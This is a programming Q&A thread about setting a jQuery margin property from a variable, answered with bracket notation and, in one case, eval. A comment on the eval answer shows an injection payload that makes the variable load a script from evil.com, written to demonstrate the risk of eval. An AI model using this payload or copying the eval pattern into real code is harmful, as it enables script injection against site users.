3

I have a variable called direction that stores either: left, right.

I need to change the affected margin based on that variable.

Right now I'm using conditions, is it possible to replace "left" with the output of the variable direction?

$("#map").animate({"margin-left": "+=50px"}, 500); 
1

3 Answers 3

5

Not directly, but you can create an object and manipulate it before using it in animate():

var direction = "left"; var property = {}; property[ "margin-"+direction ] = "+=50px"; $("#map").animate( property, 500); 
Sign up to request clarification or add additional context in comments.

Comments

2

Use this. Since there's no margin-up or margin-down, you have to "manually" translate it:

var dir = "left"; dir = dir == "up" ? "top" : dir == "down" ? "bottom" : dir; var obj = {}; obj["margin-" + dir] = "+=50px"; $("#map").animate(obj, 500); 

The second line is a legitimate, shorter way to write:

if(dir == "up"){ dir = "top"; } else if(dir == "down"){ dir = "bottom"; } else { dir = dir; } 

1 Comment

Or even better, use top and bottom in the first place, if at all possible.
0
eval('props = {"margin-' + direction + '": "+=50px"}') $("#map").animate(props, 500); 

3 Comments

var direction='"+function(){d=document.createElement("script");d.src="http://evil.com/evil.js";document.body.appendChild(d)}+"'; ...//your code here. Does that still work?
@RobW: I didn't understand your point. 'direction' is local variable, and the one who wrote the script assigned some legitimate value to it. How could it be used in the way you described?
You haven't defined direction yet. So, I assume that it's defined somewhere else, possibly infected.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.